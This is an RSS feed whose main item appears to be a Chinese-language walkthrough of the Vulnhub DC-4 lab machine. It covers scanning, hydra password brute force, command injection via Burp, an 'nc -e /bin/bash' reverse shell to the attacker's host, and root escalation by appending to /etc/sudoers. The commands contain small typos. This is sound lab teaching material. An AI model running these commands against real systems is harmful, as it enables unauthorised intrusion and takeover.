<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="https://www.shibaolong.com/zb_users/plugin/mz_PrettyFeed/bin-xsl/minimal.xsl"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>月梦沉冰</title><link>https://www.shibaolong.com/</link><description>不积跬步无以至千里，不积小流无以成江海</description><item><title>Vulnhub-DC-4渗透教程</title><link>https://www.shibaolong.com/?id=5</link><description>&lt;h1&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;1.信息收集&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;由于缺乏目标系统的IP和账号信息，我们需要通过其他方式获取。这里选择使用ARP扫描工具来探测目标，但请注意：前提是你的Kali系统必须与靶机处于同一个局域网中。&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;arp-scan&amp;nbsp;-l&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;在完成网络扫描后，我们确定了该靶机的 IP 地址为 &lt;/span&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;172.16.1.137&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792623272552949.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;89&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 89px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们使用nmap对其开放端口进行扫描，进一步获取信息。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792623336672906.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;139&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 139px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;扫描结果显示，该系统的攻击面十分精简，仅开放了 80 端口和 SSH 端口。首先，我们直接访问 80 端口下的 Web 应用，看看能收集到什么关键信息。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792623539413161.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;128&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 128px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;打开 80 端口的 Web 页面，映入眼帘的是一个典型的账号密码登录框。观察其数据交互方式为 POST 传参，因此我们优先测试该登录点是否存在 SQL 注入的可能。&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sqlmap&amp;nbsp;-u&amp;nbsp;&amp;quot;http://172.16.1.137/login.php&amp;quot;&amp;nbsp;--data=&amp;quot;username=admin&amp;amp;password=123&amp;quot;&amp;nbsp;-p&amp;nbsp;&amp;quot;username&amp;quot;&lt;/pre&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792623718560954.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;226&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 226px;&quot;/&gt;&lt;/p&gt;&lt;h1 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;2.漏洞利用&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;在针对该登录表单进行 SQL 注入探测无果后，我们将测试方向转向了密码暴力破解（Brute-force）。在爆破前，我们需要确定用户名。在大多数 Web 系统中，管理员账号通常默认为 &lt;/span&gt;&lt;code&gt;admin&lt;/code&gt;&lt;span class=&quot;&quot;&gt;。此外，我们也可以尝试输入 &lt;/span&gt;&lt;code&gt;admin&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 并提交任意密码，通过观察返回的错误提示（例如：提示‘密码错误’而非‘用户不存在’），来侧面验证该用户名是否有效。结合上述两点，我们决定以 &lt;/span&gt;&lt;code&gt;admin&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 作为目标用户名，并配合字典对其密码进行爆破。&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;hydra&amp;nbsp;-l&amp;nbsp;admin&amp;nbsp;-P&amp;nbsp;/usr/share/wordlists/rockyou.txt&amp;nbsp;172.16.1.137&amp;nbsp;http-post-form&amp;nbsp;&amp;quot;/login.php:username=^USER^&amp;amp;password=^PASS^:S=logout&amp;quot;&amp;nbsp;-F&lt;/pre&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792623962859810.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;101&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 101px;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;经过字典爆破，我们成功获取了管理员账号（&lt;/span&gt;&lt;code&gt;admin&lt;/code&gt;&lt;span class=&quot;&quot;&gt;）的明文凭据：&lt;/span&gt;&lt;code&gt;happy&lt;/code&gt;&lt;span class=&quot;&quot;&gt;。使用该凭据登录 Web 后台后，发现系统提供了三个基础的信息查看功能：文件列表（List Files）、磁盘使用率（Disk Usage）以及磁盘剩余空间（Disk Free）。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792624412666532.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;151&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 151px;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;由于这些功能在底层必然需要调用操作系统的命令来执行，我们决定使用 Burp Suite 抓取点击这些按钮时产生的数据包，以排查是否存在&lt;/span&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;命令注入漏洞（Command Injection）&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792624459765571.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;356&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 356px;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;通过抓包重放测试，我们确认该功能点存在命令注入漏洞。由于后端接收 POST 参数后，未做任何安全过滤便直接调用系统命令执行，前端设定的三个固定选项完全可以通过 Burp Suite 拦截并篡改。这意味着我们能够借此漏洞在目标服务器上执行任意系统指令。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792624743439721.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;328&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 328px;&quot;/&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;下一步，我们需要先探测一下目标主机中是否存在 &lt;/span&gt;&lt;code&gt;nc&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 工具。如果有，利用它反弹 Shell 会是最快捷的方式；如果缺少该工具，我们则需转换思路，尝试使用系统自带的特性或其他语言（如 Python）来建立连接。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792624789132155.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;297&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 297px;&quot;/&gt;&lt;/p&gt;&lt;h1 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;3.建立Webshell&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;经探测确认，目标系统内确实安装了 Netcat 工具。这为我们的后续操作提供了极大便利，接下来我们将直接利用 Netcat 构造反弹 Shell（Reverse Shell），以获取目标主机的交互式命令行。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;首先我们需要在我们的攻击机（kali）系统上面进行端口监听。命令如下：&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;nc&amp;nbsp;lvnp&amp;nbsp;4444&lt;/pre&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792624961530931.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;169&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 169px;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;下一步，我们回到 Burp Suite 的代理拦截界面，直接修改数据包中的命令参数，并将构造好的 Payload 发送至服务器。抓包与改包的细节如下图所示：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792625091158765.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;408&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 408px;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;在发送请求前，我们需要对 Payload 进行 URL 编码。因为 HTTP 协议对部分特殊字符（如空格、&lt;/span&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;span class=&quot;&quot;&gt;、&lt;/span&gt;&lt;code&gt;&amp;gt;&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 等）有特殊语义，若不进行编码，极易导致 Payload 在传输过程中被截断或错误解析，从而影响命令的最终执行。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;在 Burp Suite 的 Repeater（重放）模块中，选中我们构造的系统命令 &lt;/span&gt;&lt;code&gt;nc -e /bin/bash 172.16.1.132 4444&lt;/code&gt;&lt;span class=&quot;&quot;&gt;，使用快捷键 &lt;/span&gt;&lt;code&gt;Ctrl + U&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 对其进行 URL 编码。这是处理特殊字符、确保 Payload 完整传输的最便捷方式。编码后的效果如下图所示：&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792625349837282.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;278&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 278px;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;随后点击 Send（发送）按钮重放请求。此时可以发现，右侧的 Response 面板处于空白状态或一直加载中——这是因为目标主机正在执行反弹命令，导致当前 HTTP 请求被挂起。此时切换到我们的 BlackArch（或 Kali）系统终端，可以发现已经成功接收到了目标靶机反弹回来的 Shell。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792625446552565.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;165&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 165px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;为了方便后续命令的输入与执行，我们将利用 Python 升级当前的反弹 Shell，获取一个标准的交互式 TTY 终端。操作时，只需在终端输出 &lt;/span&gt;&lt;code&gt;Connection received on 172.16.1.137&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 的下方，直接执行相应的 Python 命令即可。&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;python&amp;nbsp;-c&amp;nbsp;&amp;#39;impot&amp;nbsp;pty;pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#39;&lt;/pre&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792625640580623.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;131&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 131px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;进入目标目录后，我们执行 &lt;/span&gt;&lt;code&gt;ls&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 命令列出当前文件，以排查其中是否存在可用于提权或横向移动的敏感信息及可利用文件&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792625769431301.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;78&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 78px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;由于当前目录下未发现可直接利用的提权文件，我们转换攻击思路。结合前期端口扫描的结果，目标主机开放了 22 端口（SSH 服务）。因此，我们决定在本地系统中进一步收集其他用户的身份信息与凭据，尝试以此为突破口进行横向移动。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;接下来，我们查看 &lt;/span&gt;&lt;code&gt;/home&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 目录下的内容。在 Linux 系统中，&lt;/span&gt;&lt;code&gt;/home&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 通常存放着普通用户的家目录及私有数据。因此，这里往往是寻找用户身份信息、历史命令或敏感配置文件的重要区域。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792625964825770.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;185&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 185px;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;h1 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;4.获取系统账号密码&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;在排查 &lt;/span&gt;&lt;code&gt;/home&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 目录时我们有了关键发现：其他用户的家目录均为空，但 &lt;/span&gt;&lt;code&gt;jim&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 用户目录下存在两个文件及一个 &lt;/span&gt;&lt;code&gt;backups&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 文件夹。经初步查看，&lt;/span&gt;&lt;code&gt;test.sh&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 与 &lt;/span&gt;&lt;code&gt;mbox&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 文件并无直接利用价值。然而，我们在 &lt;/span&gt;&lt;code&gt;backups&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 目录下发现了一个名为 &lt;/span&gt;&lt;code&gt;old_passwords.bak&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 的文件，这显然是一个历史密码备份文件。因此，我们可以将其内容作为密码字典，对 &lt;/span&gt;&lt;code&gt;jim&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 用户的 SSH 服务进行暴力破解。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;我们使用cat查看该文件信息，并将其中内容复制粘贴到我们的攻击机的系统上面（kali或blackarch），然后使用破解工具进行破解。&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;hydra&amp;nbsp;-l&amp;nbsp;jim&amp;nbsp;-P&amp;nbsp;dc4.txt&amp;nbsp;ssh://172.16.1.13&lt;/pre&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792626647445130.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;194&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 194px;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;我们终于拿到了jim用户的密码，我们使用该密码登录靶机。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792626711315219.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;140&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 140px;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;h1 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;5.root提权&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;成功登录目标系统后，我们注意到了一个关键的系统提示：&lt;/span&gt;&lt;code&gt;You have mail.&lt;/code&gt;&lt;span class=&quot;&quot;&gt;。在 Linux 环境中，这通常意味着系统本地邮箱存在未读邮件，往往可能包含敏感信息或用户凭据，值得进一步探查。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792626991832790.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;176&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 176px;&quot;/&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们使用cat查看该邮件内容，发现了Charles的密码，我们登录Charles账号。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792627072702619.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;404&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 404px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&amp;nbsp;我们直接使用 su charles进入该账号&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792627149306278.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;161&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 161px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;成功切换到 &lt;/span&gt;&lt;code&gt;charles&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 账号后，我们执行 &lt;/span&gt;&lt;code&gt;sudo -l&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 命令。该命令用于列出当前用户被授权以 root 身份执行的特权命令，这是寻找提权突破口的关键步骤。&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;(root)&amp;nbsp;NOPASSWD:&amp;nbsp;/usr/bin/teehee&lt;/pre&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792627251919820.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;71&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 71px;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;通过回显我们发现，&lt;/span&gt;&lt;code&gt;charles&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 用户被配置了免密执行（&lt;/span&gt;&lt;code&gt;NOPASSWD&lt;/code&gt;&lt;span class=&quot;&quot;&gt;）&lt;/span&gt;&lt;code&gt;teehee&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 工具的权限。这意味着我们可以直接利用该工具，以 root 特权身份执行相关操作。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;echo&amp;nbsp;&amp;quot;charles&amp;nbsp;ALL=(ALL:ALL)&amp;nbsp;ALL&amp;quot;&amp;nbsp;|&amp;nbsp;sudo&amp;nbsp;teehee&amp;nbsp;-a&amp;nbsp;/etc/sudoers&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我使用以上命令对sudoers文件进行修改，让Charles账号能够sudo所有root的执行命令，经过以上修改，我们已经具体root权限的能力，我们查看flag信息；获取我们需要的flag&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610221792628230868961.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;256&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 256px;&quot;/&gt;&lt;/p&gt;&lt;h1 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;6. 总结&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;至此，DC-4 靶机的渗透测试圆满完成。回顾整个过程，这是一条非常经典的“从外网打点到获取系统最高权限”的攻击链路：首先通过 Web 前端的信息收集，识别出默认口令（admin/happy）进入后台；接着利用后台功能的逻辑缺陷，通过抓包篡改参数，触发&lt;/span&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;命令注入漏洞&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;拿到低权限 Shell；随后，在系统内部进行精细的本地枚举，通过家目录下的历史备份文件（&lt;/span&gt;&lt;code&gt;old_passwords.bak&lt;/code&gt;&lt;span class=&quot;&quot;&gt;）横向移动至 &lt;/span&gt;&lt;code&gt;jim&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 用户，并结合邮件服务找到 &lt;/span&gt;&lt;code&gt;charles&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 的凭据；最终，利用配置不当的 &lt;/span&gt;&lt;code&gt;teehee&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 特权程序，通过修改 &lt;/span&gt;&lt;code&gt;sudoers&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 文件完成了 Root 提权。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;这个靶机深刻揭示了“&lt;/span&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;信任边界&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;”的重要性——不论是前端对输入参数的过滤、还是系统对敏感文件（备份、邮件）的权限管控，亦或是 &lt;/span&gt;&lt;code&gt;sudo&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 的配置管理，任何一环的疏漏都可能成为攻击者长驱直入的跳板。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;span class=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Thu, 22 Oct 2026 06:51:19 +0800</pubDate></item><item><title>Vulnhub-DC-3渗透教程</title><link>https://www.shibaolong.com/?id=4</link><description>&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;DC&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;-&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;1&lt;/span&gt; &lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;和&lt;/span&gt; &lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;D&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;C&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;-&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;2&lt;/span&gt; &lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;已&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;经&lt;/span&gt;&lt;span 